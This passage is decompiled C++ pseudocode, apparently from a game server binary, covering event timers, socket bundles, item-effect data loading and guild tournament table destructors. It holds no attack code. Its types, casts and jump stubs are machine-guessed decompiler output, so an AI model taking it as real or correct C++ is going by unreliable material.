__thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this) { EventReserveContainer *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@2 void *v4; // esi@3 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v2 = this->erc_eventarr; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x10u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } v1->baseclass_0.vfptr = (ListVtbl *)EventReserveContainer::_vftable_; v4 = v1->baseclass_0.l_Array; if ( v4 ) operator delete__(v4); } // 5D4C8C: using guessed type int (__stdcall *EventReserveContainer___vftable_[3])(__int16 hnd); //----- (00536DD0) -------------------------------------------------------- char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle) { EventReserveListElement *v3; // esi@1 unsigned int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventReserveListElement::erle_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( v3->erle_happened <= clockwatch.cw_CurrTick ) { (**(void (***)(void))v3->erle_event)(); v4 = v3->erle_repeat; if ( v4 ) v3->erle_happened += v4; else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventReserveListElement::erle_Routine"); return 1; } //----- (00536E90) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, EventReserveListElement *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->erle_happened; *(_DWORD *)(v3 + 4) = ele->erle_event; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->erle_handle; *(_DWORD *)(v3 + 12) = ele->erle_repeat; return 1; } // 536EA5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00536ED0) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (00536F30) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_(this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (00536F50) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (00536FB0) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_(this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (00536FD0) -------------------------------------------------------- void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv) { SocketBundle *v2; // esi@1 int v3; // eax@1 signed int v4; // ecx@1 v2 = this; _eh_vector_constructor_iterator_( this->sb_SocketStr, 0x108u, 4, (void (__thiscall *)(void *))SocketBundle::__unnamed::__unnamed, SocketBundle::__unnamed::___unnamed); v2->sb_Pointer.mask = 3; v2->sb_Pointer.value = 0; v2->sb_ReconnectInterval = recintv; v3 = (int)&v2->sb_SocketStr[0].varification; v4 = 4; do { *(_DWORD *)(v3 - 4) = 0; *(_BYTE *)v3 = 0; v3 += 264; --v4; } while ( v4 ); } //----- (00537030) -------------------------------------------------------- void __thiscall SocketBundle::_SocketBundle(SocketBundle *this) { _eh_vector_destructor_iterator_( this->sb_SocketStr, 0x108u, 4, SocketBundle::__unnamed::___unnamed); } //----- (00537050) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { do { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = (void *)&v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_12510618, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (ChargedItemEffect *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 < *(_DWORD *)word_12510614 ) { v13 = unk_12510DB0 + 24 * v12; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == v12 ) { v15 = unk_12510DB0 + 24 * v12; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); } } } v15 = 0; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v15 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; } while ( (signed int)v6 < v4->cideb_Total ); } } //----- (00537210) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { do { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_12510618, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouse *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 < *(_DWORD *)word_12510614 ) { v13 = unk_12510DB0 + 24 * v12; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == v12 ) { v15 = unk_12510DB0 + 24 * v12; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); } } } v15 = 0; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v15 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; } while ( (signed int)v6 < v4->cideb_Total ); } } //----- (005373F0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { do { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_12510618, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (MiniHouseFurniture *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 < *(_DWORD *)word_12510614 ) { v13 = unk_12510DB0 + 24 * v12; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == v12 ) { v15 = unk_12510DB0 + 24 * v12; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); } } } v15 = 0; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v15 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; } while ( (signed int)v6 < v4->cideb_Total ); } } //----- (005375D0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4CD4: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); //----- (00537630) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4CE0: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); //----- (00537690) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4CEC: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); //----- (005376F0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4CF8: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); //----- (00537750) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D04: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); //----- (005377B0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D10: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); //----- (00537810) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D1C: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); //----- (00537870) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D28: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); //----- (005378D0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D34: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); //----- (00537930) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D40: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); //----- (00537990) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D4C: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); //----- (005379F0) -------------------------------------------------------- void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 5D4D58: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (00537A10) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID) { return ID != -1; } //----- (00537A20) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { signed int v1; // ebp@1 IIDTableBase *v2; // esi@1 unsigned int v3; // edi@1 char *v4; // ebx@1 int v5; // eax@2 ITableBaseVtbl *v6; // ebp@4 void *v7; // eax@4 int v8; // eax@4 void *v9; // eax@10 unsigned int v10; // edx@10 int v11; // edi@10 int i; // ecx@10 unsigned int j; // edi@13 int v14; // eax@14 ITableBaseVtbl *v15; // ebp@16 void *v16; // eax@16 int v17; // ebp@16 bool result; // al@19 signed int iMostLargeID; // [sp+10h] [bp-4h]@1 v1 = -1; v2 = this; iMostLargeID = -1; v3 = 0; v4 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v5 = *((_DWORD *)v4 + 12); if ( !v5 ) break; if ( v3 >= *(_DWORD *)(v5 + 40) ) break; v6 = v2->baseclass_0.vfptr; v7 = CDataReader::GetRecord((CDataReader *)v4, v3); v8 = ((int (__thiscall *)(IIDTableBase *, void *))v6[1].BeforeTerminate)( v2, v7); v1 = iMostLargeID; if ( v8 > iMostLargeID ) { v1 = v8; iMostLargeID = v8; } ++v3; } if ( v1 < 0 ) { LABEL_19: result = 0; } else { if ( v2->m_pkRecordIDMap ) operator delete__(v2->m_pkRecordIDMap); v9 = operator new__(4 * v1 + 4); v2->m_pkRecordIDMap = (AccUpGradeInfo **)v9; v10 = 4 * v1 + 4; memset(v9, 0, 4 * (v10 >> 2)); v11 = (int)((char *)v9 + 4 * (v10 >> 2)); for ( i = v10 & 3; i; --i ) *(_BYTE *)v11++ = 0; for ( j = 0; ; ++j ) { v14 = *((_DWORD *)v4 + 12); if ( !v14 ) break; if ( j >= *(_DWORD *)(v14 + 40) ) break; v15 = v2->baseclass_0.vfptr; v16 = CDataReader::GetRecord((CDataReader *)v4, j); v17 = ((int (__thiscall *)(IIDTableBase *, void *))v15[1].BeforeTerminate)( v2, v16); if ( v2->m_pkRecordIDMap[v17] ) { operator delete__(v2->m_pkRecordIDMap); v2->m_pkRecordIDMap = 0; goto LABEL_19; } v2->m_pkRecordIDMap[v17] = (AccUpGradeInfo *)CDataReader::GetRecord((CDataReader *)v4, j); v1 = iMostLargeID; } v2->m_tMostLargeID = v1; result = 1; } return result; } //----- (00537B30) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D6C: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); //----- (00537B90) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D78: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); //----- (00537BF0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D84: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); //----- (00537C50) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D90: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); //----- (00537CB0) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5D4D9C: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); //----- (00537D10) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 5D4DA8: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (00537D30) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID) { return ID != -1; } //----- (00537D40) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { IIDTableBase *v1; // esi@1 unsigned int v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 ITableBaseVtbl *v5; // ebp@4 void *v6; // eax@4 signed int v7; // eax@4 unsigned int v8; // ebp@10 void *v9; // eax@10 int v10; // edi@10 int i; // ecx@10 unsigned int j; // ebp@13 int v13; // eax@14 ITableBaseVtbl *v14; // edi@16 void *v15; // eax@16 int v16; // edi@16 bool result; // al@19 signed int iMostLargeID; // [sp+10h] [bp-4h]@1 v1 = this; iMostLargeID = -1; v2 = 0; v3 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v4 = *((_DWORD *)v3 + 12); if ( !v4 ) break; if ( v2 >= *(_DWORD *)(v4 + 40) ) break; v5 = v1->baseclass_0.vfptr; v6 = CDataReader::GetRecord((CDataReader *)v3, v2); v7 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v5[1].BeforeTerminate)( v1, v6); if ( (unsigned __int8)v7 > iMostLargeID ) iMostLargeID = v7; ++v2; } if ( iMostLargeID < 0 ) { LABEL_19: result = 0; } else { if ( v1->m_pkRecordIDMap ) operator delete__(v1->m_pkRecordIDMap); v8 = 4 * iMostLargeID + 4; v9 = operator new__(4 * iMostLargeID + 4); v1->m_pkRecordIDMap = (DamageLvGapPVP **)v9; memset(v9, 0, 4 * (v8 >> 2)); v10 = (int)((char *)v9 + 4 * (v8 >> 2)); for ( i = v8 & 3; i; --i ) *(_BYTE *)v10++ = 0; for ( j = 0; ; ++j ) { v13 = *((_DWORD *)v3 + 12); if ( !v13 ) break; if ( j >= *(_DWORD *)(v13 + 40) ) break; v14 = v1->baseclass_0.vfptr; v15 = CDataReader::GetRecord((CDataReader *)v3, j); v16 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v14[1].BeforeTerminate)( v1, v15); if ( v1->m_pkRecordIDMap[v16] ) { operator delete__(v1->m_pkRecordIDMap); v1->m_pkRecordIDMap = 0; goto LABEL_19; } v1->m_pkRecordIDMap[v16] = (DamageLvGapPVP *)CDataReader::GetRecord((CDataReader *)v3, j); } v1->m_tMostLargeID = iMostLargeID; result = 1; } return result; } //----- (00537E50) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537E70) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537E90) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537EB0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537ED0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537EF0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537F10) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537F30) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537F50) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537F70) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537F90) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537FB0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537FD0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00537FF0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538010) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00538030) -------------------------------------------------------- void *__thiscall 